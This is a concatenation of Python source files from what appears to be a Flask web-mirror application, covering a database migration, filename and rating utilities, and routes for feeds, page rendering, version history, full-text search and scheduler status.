from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('web_page_history', sa.Column('contenthash', sa.Text(), nullable=True))
    op.add_column('web_page_history', sa.Column('is_diff', sa.Boolean(), nullable=True))
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_column('web_page_history', 'is_diff')
    op.drop_column('web_page_history', 'contenthash')
    ### end Alembic commands ###






from threading import Thread


def async(f):
    def wrapper(*args, **kwargs):
        thr = Thread(target=f, args=args, kwargs=kwargs)
        thr.start()
    return wrapper








# from guess_language import guess_language

import markdown
import os.path

from flask import render_template
from flask import send_file
from flask import g
from flask.ext.login import current_user
# from flask.ext.sqlalchemy import get_debug_queries

import WebMirror.Engine

from app import AnonUser
import traceback
from app import app

from app import lm
from app import babel

from WebMirror import database


import WebMirror.API

import app.sub_views.content_views as content_views
import app.sub_views.rss_views     as rss_views
import app.sub_views.search_views  as search_views
import app.sub_views.status_view   as status_view
import app.sub_views.nu_views      as nu_views


@lm.user_loader
def load_user(id):
	return AnonUser()


@babel.localeselector
def get_locale():
	return 'en'


@app.before_request
def before_request():
	g.user = current_user
	g.locale = get_locale()
	g.session = database.checkout_session()


@app.teardown_request
def teardown_request(response):
	database.release_session(g.session)


@app.errorhandler(404)
def not_found_error(dummy_error):
	print("404. Wat?")
	return render_template('404.html'), 404


@app.errorhandler(500)
def internal_error(dummy_error):
	print("Internal Error!")
	print(dummy_error)
	print(traceback.format_exc())
	# print("500 error!")
	return render_template('500.html'), 500




@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():

	interesting = ""
	if os.path.exists("reading_list.txt"):
		with open("reading_list.txt", "r") as fp:
			raw_text = fp.read()
		interesting = markdown.markdown(raw_text, extensions=["linkify"])

		interesting = WebMirror.API.processRaw(interesting)

	return render_template('index.html',
						   title               = 'Home',
						   interesting_links   = interesting,
						   )

@app.route('/favicon.ico')
def sendFavIcon():
	return send_file(
		"./static/favicon.ico",
		conditional=True
		)











import re
import unicodedata

# --------------------------------------------------------------

# Asshole scanlators who don't put their name in "[]"
# Fuck you people. Seriously
shitScanlators = ["rhs", "rh", "mri", "rhn", "se", "rhfk", "mw-rhs"]

chapVolRe     = re.compile(r"(?:(?:ch?|v(?:ol(?:ume)?)?|(?:ep)|(?:stage)|(?:pa?r?t)|(?:chapter)|(?:story)|(?:extra)|(?:load)|(?:log)) ?\d+)", re.IGNORECASE)
trailingNumRe = re.compile(r"(\d+$)", re.IGNORECASE)


# In a lot of situations, we don't have a series name (particularly for IRC downloads, etc...)
# This function tries to clean up filenames enough that we can then match the filename into
# the name database.
# It's crude as hell, but short of a neural net or something, it's as good as it's gonna get
# for fuzzy matching strings into the database.
# Something like levenshtein string distance might be interesting, but I'd be too concerned
# about false-positive matches. Failing to no-match occationally is FAR preferable to
# failing to wrong-match, so we fail no-match.
def guessSeriesFromFilename(inStr):
	inStr = inStr.lower()
	inStr = removeBrackets(inStr)

	# if there is a "." in the last 6 chars, it's probably an extension. remove it.
	if "." in inStr[-6:]:
		inStr, dummy_ext = inStr.rsplit(".", 1)

	# Strip out scanlator name strings for scanlators who are assholes and don't bracket their group name.
	for shitScanlator in shitScanlators:
		if inStr.lower().endswith(shitScanlator.lower()):
			inStr = inStr[:len(shitScanlator)*-1]

	inStr = inStr.replace("+", " ")
	inStr = inStr.replace("_", " ")
	inStr = inStr.replace("the4koma", " ")
	inStr = inStr.replace("4koma", " ")

	inStr = stripChapVol(inStr)

	inStr = inStr.strip()
	inStr = stripTrailingNumbers(inStr)

	inStr = prepFilenameForMatching(inStr)
	return inStr

def stripChapVol(inStr):
	inStr = chapVolRe.sub(" ", inStr)
	return inStr

def stripTrailingNumbers(inStr):
	inStr = trailingNumRe.sub(" ", inStr)
	return inStr

# Execution time of ~ 0.000052889607680 second (52 microseconds)
def prepFilenameForMatching(inStr):
	# inStr = cleanUnicode(inStr)
	inStr = makeFilenameSafe(inStr)
	inStr = sanitizeString(inStr)
	return inStr.lower()

def makeFilenameSafe(inStr):

	# FUCK YOU SMART-QUOTES.
	inStr = inStr.replace("“",  " ") \
				 .replace("”",  " ")

	inStr = inStr.replace("%20", " ") \
				 .replace("<",  " ") \
				 .replace(">",  " ") \
				 .replace(":",  " ") \
				 .replace("\"", " ") \
				 .replace("/",  " ") \
				 .replace("\\", " ") \
				 .replace("|",  " ") \
				 .replace("?",  " ") \
				 .replace("*",  " ") \
				 .replace('"', " ")

	# zero-width space bullshit (goddammit unicode)
	inStr = inStr.replace("\u2009",  " ") \
				 .replace("\u200A",  " ") \
				 .replace("\u200B",  " ") \
				 .replace("\u200C",  " ") \
				 .replace("\u200D",  " ") \
				 .replace("\uFEFF",  " ")

	# Collapse all the repeated spaces down.
	while inStr.find("  ")+1:
		inStr = inStr.replace("  ", " ")


	# inStr = inStr.rstrip(".")  # Windows file names can't end in dot. For some reason.
	# Fukkit, disabling. Just run on linux.

	inStr = inStr.rstrip("! ")   # Clean up trailing exclamation points
	inStr = inStr.strip(" ")    # And can't have leading or trailing spaces

	return inStr


# I have a love-hate unicode relationship. I'd /like/ to normalize everything, but doing
# so breaks more then it fixes. Arrrrgh.
def cleanUnicode(inStr):
	return unicodedata.normalize("NFKD", inStr).encode("ascii", errors="replace").decode()


bracketStripRe = re.compile(r"(\[[\+\~\-\!\d\w &:]*\])")

def removeBrackets(inStr):
	inStr = bracketStripRe.sub(" ", inStr)
	while inStr.find("  ")+1:
		inStr = inStr.replace("  ", " ")
	return inStr

# Basically used for dir-path cleaning to prep for matching, and not much else
def sanitizeString(inStr, flatten=True):
	baseName = inStr
	if flatten:
		# Adding "-" processing.
		baseName = baseName.replace("-", " ")
		baseName = baseName.replace("!", " ")

		baseName = baseName.replace("~", "")		 # Spot fixes. We'll see if they break anything
		baseName = baseName.replace(".", "")
		baseName = baseName.replace(";", "")
		baseName = baseName.replace(":", "")
		baseName = baseName.replace("-", "")
		baseName = baseName.replace("?", "")
		baseName = baseName.replace('"', "")
		baseName = baseName.replace("'", "")

	# Bracket stripping has to be done /after/ special chars are cleaned,
	# otherwise, they can break the regex.
	baseName = removeBrackets(baseName)				#clean brackets

	# baseName = baseName.replace("'", "")
	while baseName.find("  ")+1:
		baseName = baseName.replace("  ", " ")

	# baseName = unicodedata.normalize('NFKD', baseName).encode("ascii", errors="ignore")  # This will probably break shit


	return baseName.lower().strip()

def extractRating(inStr):
	# print("ExtractRating = '%s', '%s'" % (inStr, type(inStr)))
	search = re.search(r"^(.*?)\[([~+\-!]+)\](.*?)$", inStr)
	if search:
		# print("Found rating! Prefix = {pre}, rating = {rat}, postfix = {pos}".format(pre=search.group(1), rat=search.group(2), pos=search.group(3)))
		return search.group(1), search.group(2), search.group(3)
	else:
		return inStr, "", ""

def ratingStrToInt(inStr):


	pos = inStr.count("+")
	neg = inStr.count("-")

	return pos - neg

def ratingStrToFloat(inStr):

	pos = inStr.count("+")
	neg = inStr.count("-")
	half = inStr.count("~")

	return (pos - neg) + (half * 0.5)

def extractRatingToFloat(inStr):
	dummy, rating, dummy = extractRating(inStr)
	if not rating:
		return 0
	return ratingStrToFloat(rating)



def floatToRatingStr(newRating):

	# print("Rating change call!")
	newRating, remainder = int(newRating), int((newRating%1)*2)
	if newRating > 0 and newRating <= 5:
		ratingStr = "+"*newRating
	elif newRating == 0:
		ratingStr = ""
	elif newRating < 0 and newRating > -6:
		ratingStr = "-"*abs(newRating)
	else:
		raise ValueError("Invalid rating value: %s!", newRating)
	if remainder:
		ratingStr += "~"

	return ratingStr


def isProbablyImage(fileName):
	imageExtensions = [".jpeg", ".jpg", ".gif", ".png", ".apng", ".svg", ".bmp"]
	fileName = fileName.lower()
	for ext in imageExtensions:
		if fileName.endswith(ext):
			return True

	return False


def extractChapterVol(inStr):

	# Becuase some series have numbers in their title, we need to preferrentially
	# chose numbers preceeded by known "chapter" strings when we're looking for chapter numbers
	# and only fall back to any numbers (chpRe2) if the search-by-prefix has failed.
	chpRe1 = re.compile(r"(?<!volume)(?<!vol)(?<!v)(?<!of)(?<!season) ?(?:chapter |ch|c)(?: |_|\.)?(\d+)", re.IGNORECASE)
	chpRe2 = re.compile(r"(?<!volume)(?<!vol)(?<!v)(?<!of)(?<!season) ?(?: |_)(?: |_|\.)?(\d+)", re.IGNORECASE)
	volRe = re.compile(r"(?: |_|\-)(?:volume|vol|v|season)(?: |_|\.)?(\d+)", re.IGNORECASE)

	chap = None
	for chRe in [chpRe1, chpRe2]:
		chapF = chRe.findall(inStr)
		if chapF:
			chap  = float(chapF.pop(0)) if chapF else None
		if chap != None:
			break

	volKey = volRe.findall(inStr)
	vol    = float(volKey.pop(0))  if volKey    else None

	chap   = chap if chap != None else 0.0
	vol    = vol  if vol  != None else 0.0

	return chap, vol



# ------------------------------------------------------






import os
from flask import Flask
from flask.json import JSONEncoder
from flask.ext.login import LoginManager

from flask.ext.babel import Babel, lazy_gettext
from flask_wtf.csrf import CsrfProtect
from flask_debugtoolbar import DebugToolbarExtension
from config import basedir
import datetime
from babel.dates import format_datetime

import urllib.parse

class AnonUser():
	def is_authenticated(self):
		return False
	def is_active(self):
		return False
	def is_admin(self):
		return False
	def is_mod(self):
		return False
	def is_anonymous(self):
		return True
	def get_id(self):
		return None



app = Flask(__name__)

import sys
if "debug" in sys.argv:
	print("Flask running in debug mode!")
	app.debug = True
app.config.from_object('config.BaseConfig')

lm = LoginManager()
lm.anonymous_user = AnonUser
lm.init_app(app)
lm.login_view = 'login'
lm.login_message = lazy_gettext('Please log in to access this page.')

babel = Babel(app)
CsrfProtect(app)

if "debug" in sys.argv:
	print("Installing debug toolbar!")
	toolbar = DebugToolbarExtension(app)

if not app.debug:
	import logging
	from logging.handlers import RotatingFileHandler
	file_handler = RotatingFileHandler('tmp/ReadableWebProxy.log', 'a', 1 * 1024 * 1024, 10)
	file_handler.setLevel(logging.INFO)
	file_handler.setFormatter(logging.Formatter(
		'%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]'))
	app.logger.addHandler(file_handler)
	app.logger.setLevel(logging.INFO)
	app.logger.info('ReadableWebProxy startup')


from app import views


@app.context_processor
def utility_processor():

	def format_date(value, format='medium'):

		return format_datetime(value, "EE yyyy.MM.dd")

	def date_now():
		return format_datetime(datetime.datetime.today(), "yyyy/MM/dd, hh:mm:ss")

	def ago(then):
		if then == None:
			return "Never"
		now = datetime.datetime.now()
		delta = now - then

		d = delta.days
		h, s = divmod(delta.seconds, 3600)
		m, s = divmod(s, 60)
		labels = ['d', 'h', 'm', 's']
		dhms = ['%s %s' % (i, lbl) for i, lbl in zip([d, h, m, s], labels)]
		for start in range(len(dhms)):
			if not dhms[start].startswith('0'):
				break
		for end in range(len(dhms)-1, -1, -1):
			if not dhms[end].startswith('0'):
				break
		return ', '.join(dhms[start:end+1])




	return dict(
			format_date        = format_date,
			date_now           = date_now,
			ago                = ago,
			)








# from app.models import Releases
# from sqlalchemy.sql.expression import nullslast
# from sqlalchemy import desc

from flask.ext.sqlalchemy import Pagination
from flask import abort

# def get_latest_release(series):
# 	latest = Releases                                        \
# 				.query                                       \
# 				.filter(Releases.series==series.id)          \
# 				.filter(Releases.include==True)              \
# 				.order_by(nullslast(desc(Releases.volume)))  \
# 				.order_by(nullslast(desc(Releases.chapter))) \
# 				.limit(1)                                    \
# 				.scalar()

# 	return latest



def paginate(query, page, per_page=20, error_out=True):
	if error_out and page < 1:
		abort(404)
	items = query.limit(per_page).offset((page - 1) * per_page).all()
	if not items and page != 1 and error_out:
		abort(404)

	# No need to count if we're on the first page and there are fewer
	# items than we expected.
	if page == 1 and len(items) < per_page:
		total = len(items)
	else:
		total = query.order_by(None).count()

	return Pagination(query, page, per_page, total, items)









from flask import g
from flask import render_template
from flask import flash
from flask import redirect
from flask import url_for
from flask.ext.babel import gettext
# from guess_language import guess_language
from app import app


import WebMirror.API
from sqlalchemy import desc

from sqlalchemy.orm import joinedload
import traceback

from app.utilities import paginate
import WebMirror.database as db


@app.route('/feeds/<page>')
@app.route('/feeds/<int:page>')
@app.route('/feeds/')
def renderFeedsTable(page=1):

	feeds = g.session.query(db.FeedItems)       \
		.order_by(desc(db.FeedItems.published))


	feeds = feeds.options(joinedload('tag_rel'))
	feeds = feeds.options(joinedload('author_rel'))



	if feeds is None:
		flash(gettext('No feeds? Something is /probably/ broken!.'))
		return redirect(url_for('renderFeedsTable'))

	feed_entries = paginate(feeds, page, app.config['FEED_ITEMS_PER_PAGE'])

	return render_template('rss-pages/feeds.html',
						   subheader = "",
						   sequence_item   = feed_entries,
						   page            = page
						   )



@app.route('/feeds/tag/<tag>/<page>')
@app.route('/feeds/tag/<tag>/<int:page>')
@app.route('/feeds/tag/<tag>/')
def renderFeedsTagTable(tag, page=1):
	query = g.session.query(db.FeedItems)
	# query = query.join(db.Tags)
	query = query.filter(db.FeedItems.tags.contains(tag))
	query = query.order_by(desc(db.FeedItems.published))

	feeds = query

	if feeds is None:
		flash(gettext('No feeds? Something is /probably/ broken!.'))
		return redirect(url_for('renderFeedsTable'))

	feed_entries = paginate(feeds, page, app.config['FEED_ITEMS_PER_PAGE'])

	return render_template('rss-pages/feeds.html',
						   subheader = "Tag = '%s'" % tag,
						   sequence_item   = feed_entries,
						   page            = page
						   )

@app.route('/feeds/source/<source>/<page>')
@app.route('/feeds/source/<source>/<int:page>')
@app.route('/feeds/source/<source>/')
def renderFeedsSourceTable(source, page=1):
	feeds = g.session.query(db.FeedItems) \
		.filter(db.FeedItems.srcname == source)  \
		.order_by(desc(db.FeedItems.published))

	if feeds is None:
		flash(gettext('No feeds? Something is /probably/ broken!.'))
		return redirect(url_for('renderFeedsTable'))

	feed_entries = paginate(feeds, page, app.config['FEED_ITEMS_PER_PAGE'])

	return render_template('rss-pages/feeds.html',
						   subheader = "Source = '%s'" % source,
						   sequence_item   = feed_entries,
						   page            = page
						   )




@app.route('/feeds/postid/<int:postid>')
def renderFeedEntry(postid):



	post = g.session.query(db.FeedItems) \
		.filter(db.FeedItems.id == postid)    \
		.scalar()

	# relink the feed contents.
	contents = WebMirror.API.replace_links(post.contents)

	return render_template('rss-pages/post.html',
						   entry = post,
						   contents = contents
						   )













from flask import render_template
from flask import make_response
from flask import request
from flask import jsonify
from flask import g

import WebMirror.Engine

from app import app
import pprint


import WebMirror.API

def build_error_response(message):
	response = jsonify(
		title      = "Error rendering content!",
		contents   = "Error message:<br> {}".format(message),
		cachestate = "Error!",
		req_url    = "None",
		)
	return response

@app.route('/view', methods=['GET'])
def view():
	req_url = request.args.get('url')
	if not req_url:
		return render_template('error.html', title = 'Viewer', message = "Error! No page specified!")
	version = request.args.get('version')

	if version:
		return render_template('error.html', title = 'Error', message = "Historical views must be routed through the /history route!")

	return render_template('view.html', title = 'Rendering Content', req_url = req_url, version=None)

def do_history_delete(versions, version, delete_id, delete):
	if delete != "True":
		return render_template('error.html', title = 'Error when deleting!', message = "Delete param not true?")
	try:
		version = int(version)
	except ValueError:
		return render_template('error.html', title = 'Error when deleting!', message = "Cannot convert version value to integer!")
	try:
		delete_id = int(delete_id)
	except ValueError:
		return render_template('error.html', title = 'Error when deleting!', message = "Cannot convert delete_id value to integer!")

	versions = dict(versions)

	if delete_id == -1 and version == -1:
		maxid = max(versions.keys())

		for vid, version in versions.items():
			if vid != maxid:
				g.session.delete(version)
		g.session.commit()
		return render_template('error.html', title = 'All old versions deleted', message = "All old versions deleted")

	else:
		if not version in versions:
			return render_template('error.html', title = 'Error when deleting!', message = "Version value doesn't exist? ('%s', '%s')" % (version, type(version) ))
		target = versions[version]
		if not target.id == delete_id:
			return render_template('error.html', title = 'Error when deleting!', message = "Delete row PK Id doesn't match specified delete ID?")

		g.session.delete(target)
		g.session.commit()

		return render_template('error.html', title = 'Row deleted', message = "Row: '%s', '%s'" % (delete_id, version))


@app.route('/history', methods=['GET'])
def view_history():
	req_url = request.args.get('url')
	if not req_url:
		return render_template('error.html', title = 'Viewer', message = "Error! No page specified!")


	version    = request.args.get('version')
	delete_id  = request.args.get("delete_id")
	delete     = request.args.get("delete")

	print(version, delete_id, delete)

	if version and not (delete_id or delete):
		return render_template('view.html', title = 'Rendering Content', req_url = req_url, version=version)

	with WebMirror.API.getPageRow(req_url) as page:
		versions = []

		rev = page.job.versions[0]
		while rev:
			versions.append(rev)
			rev = rev.next

		versions = list(enumerate(versions))
		versions.reverse()

		if delete_id and delete:
			return do_history_delete(versions, version, delete_id, delete)


		return render_template('history.html', title = 'Item History', page = page, req_url = req_url, versions=versions)


 # @no_cache
@app.route('/render', methods=['GET'])
def render():
	req_url = request.args.get('url')
	if not req_url:
		return build_error_response(message = "Error! No page specified!")
	req_url = request.args.get('url')

	version = request.args.get('version')
	ignore_cache = request.args.get("nocache")

	try:
		if version == "None":
			version = None
		else:
			version = int(version)
	except ValueError:
		return build_error_response(message = "Error! Historical version number must be an integer!")

	if version and ignore_cache:
		return build_error_response(message = "Error! Cannot render a historical version with nocache!")

	title, content, cachestate = WebMirror.API.getPage(req_url, ignore_cache=ignore_cache, version=version)

	# print("Render-Version: ", version, type(version))
	# print("Rendering with nocache=", ignore_cache)
	# print("Return:", cachestate)
	response = jsonify(
		title      = title,
		contents   = content,
		cachestate = cachestate,
		req_url    = req_url,
		)

	response.headers['X-UA-Compatible'] = 'IE=Edge,chrome=1'
	response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate, max-age=0"
	response.headers["Pragma"] = "no-cache"
	response.headers["Expires"] = "Thu, 01 Jan 1970 00:00:00"

	return response

@app.route('/render_rsc', methods=['GET'])
def render_resource():
	req_url = request.args.get('url')
	if not req_url:
		return render_template('error.html', title = 'Resource Render', message = "Error! No page specified!")

	ignore_cache = request.args.get("nocache")

	mimetype, fname, content, cachestate = WebMirror.API.getResource(req_url, ignore_cache=ignore_cache)

	response = make_response(content)
	response.headers['Content-Type'] = mimetype
	response.headers["Content-Disposition"] = "attachment; filename={}".format(fname)


	response.headers['X-UA-Compatible'] = 'IE=Edge,chrome=1'
	response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate, max-age=0"
	response.headers["Pragma"] = "no-cache"
	response.headers["Expires"] = "Thu, 01 Jan 1970 00:00:00"

	return response
	# return render_template('render.html',
	# 	title      = title,
	# 	contents   = content,
	# 	cachestate = cachestate,
	# 	req_url    = req_url,
	# 	)









from flask import g
from flask import render_template
from flask import make_response
from flask import request
from flask import jsonify

import pickle
import time
import json
import string
import datetime
from calendar import timegm

from sqlalchemy.sql import text
from app import app

from Misc.NuForwarder import NuForwarder

import WebMirror.database as db

from app.utilities import paginate
from sqlalchemy.dialects import postgresql
from sqlalchemy.sql.expression import func
from tzlocal import get_localzone
import WebMirror.API

def abbreviate(instr):
	instr = "".join([char for char in instr if char in string.ascii_letters + " "])
	segs = instr.split(" ")
	segs = [seg[0] for seg in segs if seg]
	ret = "".join(segs).lower()
	return "" if len(ret) < 2 else ret

def add_highlight(from_name, from_chp, from_group, namestr):
	t1 = abbreviate(from_group)
	t2 = abbreviate(from_name)

	from_name  = from_name.replace("'", " ")  + " " + from_name.replace("'", "")
	from_chp   = from_chp.replace("'", " ")   + " " + from_chp.replace("'", "")
	from_group = from_group.replace("'", " ") + " " + from_group.replace("'", "")
	splitstr = from_name + " " + from_group + " " + from_chp + " " + "".join([char for char in from_chp if char in " 0123456789"]) + \
		" " + "".join([char for char in from_chp if char in string.ascii_letters + " "]) + \
		" " + t1 + " " + t2
	highlights = [val for val in splitstr.lower().split(" ") if val and (len(val) > 1 or any([char for char in val if char in "0123456789"]))]

	namestr = namestr.lower()

	for highlight in highlights:
		if highlight in namestr:
			splitted = namestr.split(highlight)
			if len(splitted) > 1:
				namestr = ("<b>"+highlight+"</b>").join(namestr.split(highlight))

	return namestr

def aggregate_nu_items(in_rows):
	agg = {}
	for row in in_rows:
		uniq = (row.seriesname, row.releaseinfo, row.actual_target)
		if not uniq in agg:
			agg[uniq] = []
		agg[uniq].append(row)

	for key, rowset in list(agg.items()):
		try:
			assert(all([rowset[0].seriesname == row.seriesname for row in rowset])),             'Wat: %s' % ([row.seriesname       for row in rowset])
			assert(all([rowset[0].outbound_wrapper == row.outbound_wrapper for row in rowset])), 'Wat: %s' % ([row.outbound_wrapper for row in rowset])
			assert(all([rowset[0].groupinfo == row.groupinfo for row in rowset])),               'Wat: %s' % ([row.groupinfo        for row in rowset])
			assert(all([rowset[0].releaseinfo == row.releaseinfo for row in rowset])),           'Wat: %s' % ([row.releaseinfo      for row in rowset])
			assert(all([rowset[0].actual_target == row.actual_target for row in rowset])),       'Wat: %s' % ([row.actual_target    for row in rowset])
		except AssertionError:
			del agg[key]
	ret = []
	for item in agg.values():
		if item:
			namestr = add_highlight(item[0].seriesname, item[0].releaseinfo, item[0].groupinfo, item[0].actual_target)
			ret.append((namestr, item))

	return ret


def get_nu_items(sess, selector):

	intf = NuForwarder.NuForwarder(connect=False)
	intf.fix_names()
	intf.consolidate_validated()

	new_items = sess.query(db.NuOutboundWrapperMap)
	if selector == "unverified" or selector == None:
		new_items = new_items.filter(db.NuOutboundWrapperMap.validated == False)
	elif selector == "verified":
		new_items = new_items.filter(db.NuOutboundWrapperMap.validated == True)
	elif selector == "all":
		pass

	new_items = new_items.all()

	new_items = aggregate_nu_items(new_items)

	return new_items

def toggle_row(sess, rid, oldv, newv):

	row = sess.query(db.NuOutboundWrapperMap)     \
		.filter(db.NuOutboundWrapperMap.id == rid) \
		.scalar()
	if not row:
		print("Row missing!")
	else:
		assert(row.validated == oldv)
		assert(oldv != newv)
		row.validated = newv

def release_validity_toggle(sess, data):
	sess.expire_all()
	for change in data:
		toggle_row(sess, change['id'], change['old'], change['new'])
		print("Change:", change)

	sess.commit()

	sess.expire_all()

	return {"error" : False,
			'message' : "Changes applied!"}

ops = {
	'nu release validity update' : release_validity_toggle,
	}


@app.route('/nu_releases/', methods=['GET'])
def nu_view():

	release_selector = request.args.get('view')

	session = g.session
	session.expire_all()
	session.commit()
	session.expire_all()
	new = get_nu_items(g.session, release_selector)
	session.commit()
	new.sort(key=lambda x: x[1][0].seriesname)
	new.sort(key=lambda x: '...' in x[1][0].seriesname)
	new.sort(key=lambda x: 'https://www.novelupdates.com' in x[1][0].actual_target)

	response = make_response(render_template('nu_releases.html',
						   new          = new,
						   release_selector = release_selector,
						   ))
	session.expire_all()

	response.headers['X-UA-Compatible'] = 'IE=Edge,chrome=1'
	response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate, max-age=0"
	response.headers["Pragma"] = "no-cache"
	response.headers["Expires"] = "Thu, 01 Jan 1970 00:00:00"
	return response

@app.route('/nu_api/', methods=['GET', 'POST'])
def nu_api():
	if not request.json:
		# print("Non-JSON request!")
		js = {
			"error"   : True,
			"message" : "This endpoint only accepts JSON POST requests."
		}
		resp = jsonify(js)
		resp.status_code = 200
		resp.mimetype="application/json"
		return resp

	print("API Request!")
	print("session:", g.session)
	print("Request method: ", request.method)
	print("Request json: ", request.json)

	if 'op' in request.json and 'data' in request.json and request.json['op'] in ops:
		data = ops[request.json['op']](g.session, request.json['data'])
	else:
		data = {"wat": "wat"}

	g.session.expire_all()
	# response = make_response(jsonify(data))
	response = jsonify(data)

	# print("response", response)
	# response.headers['X-UA-Compatible'] = 'IE=Edge,chrome=1'
	# response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate, max-age=0"
	# response.headers["Pragma"] = "no-cache"
	# response.headers["Expires"] = "Thu, 01 Jan 1970 00:00:00"

	print("ResponseData: ", data)
	print("Response: ", response)

	response.status_code = 200
	response.mimetype="application/json"

	return response









from flask import g
from flask import render_template
from flask import request
import json
import urllib.parse

from app import app

import traceback
import WebMirror.database as db

from app.utilities import paginate
import sqlalchemy.exc
from sqlalchemy.sql.expression import func
from sqlalchemy.dialects import postgresql

import WebMirror.rules

def build_tsquery(in_str):
	args = in_str.split()
	args = [arg for arg in args if len(arg) >= 2]
	args = [arg.replace("!", " ").replace("?", " ").strip(",").strip() for arg in args]
	ret = " & ".join(args)
	return ret

def fetch_content(query_text, column, text_column, page, sources=None):
	session = g.session
	tsq = build_tsquery(query_text)
	search = None
	if column == db.WebPages.title:
		query = session                                                                                         \
				.query(db.WebPages, func.ts_rank_cd(func.to_tsvector("english", column), func.to_tsquery(tsq))) \
				.filter(                                                                                        \
					func.to_tsvector("english", column).match(tsq, postgresql_regconfig='english')              \
					)                                                                                           \
				.order_by(func.ts_rank_cd(func.to_tsvector("english", column), func.to_tsquery(tsq)).desc())

	elif column == db.WebPages.tsv_content:
		query = session                                                                                         \
				.query(db.WebPages, func.ts_rank_cd(column, func.to_tsquery(tsq)))                              \
				.filter( column.match(tsq) )

		if "'" in query_text or '"' in query_text:
			search = query_text.replace("!", " ").replace("?", " ").replace("'", " ").replace('"', " ").replace(',', " ").replace('.', " ").strip()
			while "  " in search:
				search = search.replace("  ", " ")
			search = search.strip()
			search = '%{}%'.format(search.lower())
			query = query.filter( func.lower(text_column).like(search) )

		query = query.order_by(func.ts_rank_cd(column, func.to_tsquery(tsq)).desc())

		if sources:
			query = query.filter(db.WebPages.netloc.in_(sources))

	else:
		raise ValueError("Wat?")

	print(str(query.statement.compile(dialect=postgresql.dialect())))
	print("param: '%s', '%s', '%s'" % (tsq, sources, search))

	try:
		entries = paginate(query, page, per_page=50)

	except sqlalchemy.exc.ProgrammingError:
		traceback.print_exc()
		print("ProgrammingError - Rolling back!")
		g.session.rollback()
		raise
	except sqlalchemy.exc.InternalError:
		traceback.print_exc()
		print("InternalError - Rolling back!")
		g.session.rollback()
		raise
	except sqlalchemy.exc.OperationalError:
		traceback.print_exc()
		print("InternalError - Rolling back!")
		g.session.rollback()
		raise

	return entries

def render_search(query_text, column, text_column, page, title):
	print(request)
	if 'source-site' in request.args:
		try:
			request_str = request.args['source-site']
			request_str = urllib.parse.unquote(request_str)
			sources = json.loads(request_str)
		except ValueError:
			sources = None
	else:
		sources = None


	if isinstance(sources, str):
		sources = [sources]

	try:
		entries = fetch_content(query_text, column, text_column, page, sources=sources)
	except (sqlalchemy.exc.ProgrammingError,
			sqlalchemy.exc.InternalError,
			sqlalchemy.exc.OperationalError):

		return render_template('error.html', title = 'Error!', message = "Error! Invalid search string!")



	return render_template('search_results.html',
						   header          = title,
						   sequence_item   = entries,
						   page            = page
						   )

def render_search_page():
	print(request)
	print(request.args)
	print("test" in request.args)
	if "test" in request.args:
		print(request.args["test"])


	rules = WebMirror.rules.load_rules()

	netlocs = [item['starturls'] for item in rules if item['starturls']]
	netlocs = [list(set([urllib.parse.urlsplit(item).netloc for item in tmp])) for tmp in netlocs]

	[item.sort() for item in netlocs]
	netlocs.sort(key=lambda x: len(x))

	return render_template('search.html',
			netlocs = netlocs)


@app.route('/search/', methods=['GET'])
@app.route('/search/<int:page>', methods=['GET'])
def search(page=1):
	scope = request.args.get('scope')
	query = request.args.get('query')
	if not (scope and query):
		return render_search_page()

	if scope == "title":
		return render_search(query, db.WebPages.title, db.WebPages.title, page, "Title search for '%s'" % query)
	if scope == "content":
		return render_search(query, db.WebPages.tsv_content, db.WebPages.content, page, "Content search for '%s'" % query)

	else:
		return render_template('error.html', title = 'Error!', message = "Error! Invalid search scope!")









from flask import g
from flask import render_template
from flask import make_response
from flask import request

import pickle
import time
import datetime
from calendar import timegm

from sqlalchemy.sql import text
from app import app


import WebMirror.database as db

from app.utilities import paginate
from sqlalchemy.dialects import postgresql
from sqlalchemy.sql.expression import func
from tzlocal import get_localzone
import WebMirror.API

def datetime_to_utc_timestamp(timeval):
	"""
	Converts a datetime instance to a timestamp.

	:type timeval: datetime
	:rtype: float
	"""

	if timeval is not None:
		return timegm(timeval.utctimetuple()) + timeval.microsecond / 1000000

def get_scheduled_tasks(session):

	scheduled = session.execute(text("""SELECT id, next_run_time, job_state FROM apscheduler_jobs;"""))
	ret = list(scheduled)


	now = datetime.datetime.now(get_localzone())
	now_utc = datetime_to_utc_timestamp(now)

	ret = [(name, ts-now_utc, pickle.loads(value)) for name, ts, value in ret]


	for name, ts, value in ret:
		then = value['next_run_time'].astimezone(tz=None)
		# print((ts, now_utc, then, type(then)))
		now = datetime.datetime.now(datetime.timezone.utc)
		tgt = then - now
		value['time_til_job'] = tgt
	return ret



@app.route('/status/', methods=['GET'])
def status_view():

	session = g.session
	# session.expire()
	tasks = get_scheduled_tasks(session)
	states = session.query(db.PluginStatus).all()
	session.commit()
	return render_template('status.html',
						   tasks          = tasks,
						   states         = states,
						   )






















import WebMirror.util.webFunctions as webFunctions
import WebMirror.database as db
import WebMirror.util.urlFuncs as urlFuncs
import logging
import os.path
import settings

class Clean(object):

	def __init__(self):
		print("Clean __init__()")
		self.log = logging.getLogger("Main.Cleaner")
		super().__init__()

	def clean_files(self):

		session = db.get_db_session()
		q = session.query(db.WebFiles) \
			.filter(db.WebFiles.fspath != None)

		self.log.info("Querying for non-null filepaths...")
		have = q.all()
		self.log.info("Have %s local files.", len(have))
		count = 0
		for file in have:
			fpath = os.path.join(settings.RESOURCE_DIR, file.fspath)
			if not os.path.exists(fpath):
				self.log.error("Missing file: %s", fpath)

			count += 1
			if count % 1000 == 0:
				self.log.info("Scanned %s files.", count)







#!/usr/bin/python3

"""Diff Match and Patch

Copyright 2006 Google Inc.
http://code.google.com/p/google-diff-match-patch/

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

	http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""

